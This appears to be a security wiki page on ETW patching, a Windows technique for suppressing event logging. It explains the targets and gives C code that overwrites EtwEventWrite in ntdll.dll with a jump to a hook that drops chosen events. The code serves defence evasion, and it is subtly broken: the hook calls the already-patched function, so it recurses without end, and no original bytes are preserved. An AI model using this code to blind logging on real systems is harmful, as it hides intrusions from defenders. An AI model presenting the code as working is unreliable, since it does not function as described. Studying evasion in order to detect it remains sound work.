Skip to content

ETW Patch

Event Tracing for Windows (ETW) is a powerful mechanism provided by Windows for tracing and logging system events. ETW patching involves modifying the ETW infrastructure to either hide certain events from being logged or to manipulate the event data for various purposes. This technique can be used by both legitimate developers for debugging and by adversaries for evasion.

How ETW Patching Works

ETW operates through providers that generate events, which are captured by consumers. The flow of ETW can be intercepted and manipulated by patching specific functions in the ETW stack. This is typically done by hooking or overwriting parts of the ETW-related functions in ntdll.dll or other relevant libraries.

Common Targets for ETW Patching

  1. EtwEventWrite: This function is responsible for writing events. By patching it, one can prevent specific events from being logged.
  2. EtwEventRegister: This function registers an event provider. By patching it, one can control or prevent certain providers from registering.

Example: Patching EtwEventWrite

Below is a basic example of how one might patch the EtwEventWrite function to prevent certain events from being logged. This is a simplified example for educational purposes.

#include <windows.h>
#include <stdio.h>

// Function pointer type for the original EtwEventWrite
typedef ULONG (NTAPI *EtwEventWrite_t)(REGHANDLE, PCEVENT_DESCRIPTOR, ULONG, PEVENT_DATA_DESCRIPTOR);

// Original function pointer
EtwEventWrite_t OriginalEtwEventWrite = NULL;

// Hook function
ULONG NTAPI HookedEtwEventWrite(REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData)
{
    // Example condition to skip certain events
    if (EventDescriptor->Id == 12345) // Replace 12345 with the specific event ID to filter
    {
        return 0; // Skip the event
    }

    // Call the original EtwEventWrite function
    return OriginalEtwEventWrite(RegHandle, EventDescriptor, UserDataCount, UserData);
}

// Function to patch EtwEventWrite
void PatchEtwEventWrite()
{
    // Get the address of EtwEventWrite in ntdll.dll
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (hNtdll)
    {
        OriginalEtwEventWrite = (EtwEventWrite_t)GetProcAddress(hNtdll, "EtwEventWrite");
        if (OriginalEtwEventWrite)
        {
            // Replace the first few bytes of EtwEventWrite with a jump to our hook function
            DWORD oldProtect;
            VirtualProtect(OriginalEtwEventWrite, 5, PAGE_EXECUTE_READWRITE, &oldProtect);

            // Calculate the relative address for the jump
            DWORD64 relativeAddress = (DWORD64)HookedEtwEventWrite - (DWORD64)OriginalEtwEventWrite - 5;

            // Write the jump instruction
            BYTE jumpInstruction[5] = { 0xE9 }; // JMP opcode
            memcpy(jumpInstruction + 1, &relativeAddress, 4);
            memcpy(OriginalEtwEventWrite, jumpInstruction, 5);

            VirtualProtect(OriginalEtwEventWrite, 5, oldProtect, &oldProtect);
        }
    }
}

int main()
{
    // Patch EtwEventWrite
    PatchEtwEventWrite();

    // Your application logic here

    return 0;
}

Limitation

Not all ETW providers can be bypassed through simple patching techniques. Specifically, many ETW providers operate from within the kernel, making them more challenging to intercept or manipulate.

Tools

Resource